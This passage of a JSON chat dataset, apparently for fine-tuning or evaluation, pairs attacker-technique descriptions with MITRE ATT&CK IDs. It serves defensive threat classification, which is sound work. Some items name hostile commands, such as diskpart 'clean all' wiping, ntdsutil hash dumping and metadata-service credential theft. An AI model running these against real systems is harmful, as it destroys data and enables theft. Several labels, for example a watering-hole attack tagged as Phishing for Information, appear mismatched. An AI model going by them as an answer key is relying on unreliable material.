                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor accessed the Google Workspace Admin SDK to list all groups and their members."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor was installed as a scheduled task named \"Microsoft\\SecurityHealthService\" to avoid suspicion during routine system audits."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes SharePoint's webDAV interface to silently copy sensitive engineering documents to an external server."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs DDE to transfer data between a compromised Excel process and a malicious script, facilitating credential theft."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses valid credentials obtained from credential dumping to log into a cloud service console."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor gathers details about job functions of employees to tailor subsequent phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the \"ntdsutil\" utility to extract password hashes from the Active Directory database, gaining domain admin rights."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employed the Linux command \"ausearch -k login\" to enumerate audit logs for login events on the host."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a signed but malicious app to trick Gatekeeper into whitelisting subsequent unsigned payloads."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploits the Salesforce REST API to enumerate all user accounts within the target org."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised LDAP account linked to GitLab permissions to download source code."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent threat installs a custom boot manager that hijacks the boot process and runs its payload prior to the operating system initialization."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary logs into a compromised system using a legitimate local user account to bypass authentication."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\EventLog to prevent logging."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor executes code via rundll32.exe by pointing it to a compromised C:\\Windows\\System32\\malicious.dll."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool issues an RPC call to the Server service to retrieve a list of network shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script continuously invokes a specific API method on the victim server, eventually depleting thread pools and leading to an application-level denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls the BIOS to initiate a full disk wipe during system boot."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits the \"Application Compatibility Toolkit\" to register a shim that forces auto-elevate for its payload, allowing it to execute as Administrator without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider removes IAM permissions that allow CloudWatch logs to be written, effectively silencing logging."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a weaponized image file disguised as a JPEG attachment, which actually contains a hidden executable that runs when the file is previewed."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a malicious Outlook rule that automatically forwards incoming messages to an external address, enabling data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accessed the EC2 instance metadata service at 169.254.169.254 to harvest IAM role credentials and use them for further lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executes \"modprobe --show-depends\" to reveal driver dependencies on a compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a Wi‑Fi hotspot that intercepts captive portal authentication requests, forcing users to submit their credentials, which are then harvested."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan opens a reverse shell over TCP port 9999, a port not typically monitored, to receive commands from the attacker."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malvertising on a popular news site leads to a drive‑by download of a credential‑stealing trojan."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inject malicious SQL commands to delete entire tables from the target database."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach actor pulls data from the compromised computer's C:\\ drive and stages it for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary rents a cheap virtual private server, deploys a malicious SSH key, and uses it to maintain persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script initiates an automated SSH login using stolen private keys to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a malicious .bat file on the victim machine using cmd.exe to create a new user account."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks a legitimate RDP connection by injecting malicious packets into the remote desktop protocol stream, taking control of the user's session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the system's BIOS serial number and checks for known virtual machine identifiers before executing its payload."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed malicious code in a PowerPoint presentation that triggers a malicious add‑in upon slide load, leveraging the Office Application Startup method."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a symmetric cryptography based VPN to hide malicious traffic between infected hosts and C2."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Windows Management Instrumentation (WMI) event filter is created to execute a malicious command when a specific system change occurs, employing a trap trigger."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through manipulation of the DLL search path registry entries, the threat actor ensures that their malicious library is found and loaded before the expected system library."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom script that generates a Windows elevation prompt, and once accepted, it starts a reverse shell with high privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by modifying the Image File Execution Options (IFEO) registry key to hijack a legitimate executable."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator connects to a compromised server using mstsc to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes ptrace for process injection, overwriting the target's code segment with malicious payload before resuming it."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs a brute‑force attack against a VPN gateway that authenticates users via Azure AD, eventually capturing valid cloud credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor utilizes a compromised service account to upload a malicious JAR file to the Java application server."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension monitored input fields on an internal web portal, sending captured credentials to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant scans the \\SystemRoot\\System32\\drivers directory for .sys files to identify potential target drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a trusted remote support tool and use it to install malware on the victim’s machines."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group leverages a domain takeover after the legitimate domain's SSL certificate expires, serving malicious content."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the permissions of Windows service binaries to allow unprivileged users to replace them with malicious executables, enabling execution with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a phishing email that directs victims to an impersonated web service where they are asked to enter corporate credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts a watering hole attack on a website frequently visited by individuals in the financial sector, infecting their devices with malware designed to steal login credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executed a shell command to list all mounted drives and their contents for further analysis."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload invokes `diskpart` with a script that selects the disk and executes `clean all` to perform a full wipe."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Windows authentication provider on the domain controller to accept custom tokens for unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor invokes Odbcconf with elevated privileges to install a malicious driver, providing a covert channel for command and control."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator queries Shodan for devices exposed on the internet that belong to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool accesses the NTDS.dit file to harvest Active Directory user passwords."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool queries the Windows Registry for the \"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\" key to retrieve OS version information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a malicious .msc payload and triggers it through the MMC system binary to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a PowerShell command to invoke mshta.exe with a base64-encoded JavaScript snippet, bypassing the content filter and running ransomware."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts the list of machines from the target's SMB share by issuing NetShareEnum calls to the master browser."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping was performed by parsing Group Policy Preference files for stored passwords after gaining domain admin rights."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs \"net user\" to create a standard user account and then adds it to the \"Remote Desktop Users\" group."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts password hashes from the Windows SAM database using built-in tools."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware starts svchost.exe with arguments that resemble normal network service parameters to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses UIAutomation to monitor and record user interactions with privileged applications."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses Windows Task Scheduler to set up a task that triggers a malicious executable at system startup, exfiltrating logs via FTP."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a pre-existing local account to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware checks the system's hostname against a whitelist and aborts execution if the machine name is not on the list."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tools steal CloudTrail logs from AWS S3 buckets to reconstruct API call history."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deletes the /var/log/auth.log and /var/log/secure files on a Linux box to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into the virtual memory of a high-privilege process, allowing the attacker to bypass security controls and gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly triggers MFA push notifications to a victim's device, hoping the user will approve one out of fatigue."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using credential dumping tools, the attacker extracts email login details from memory and logs into the compromised mailbox."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performs a DNS rebinding attack to redirect internal traffic to the cloud instance metadata IP address, enabling credential theft across multiple VMs."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a known CVE in a VPN appliance to gain unauthorized remote access to the internal network."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
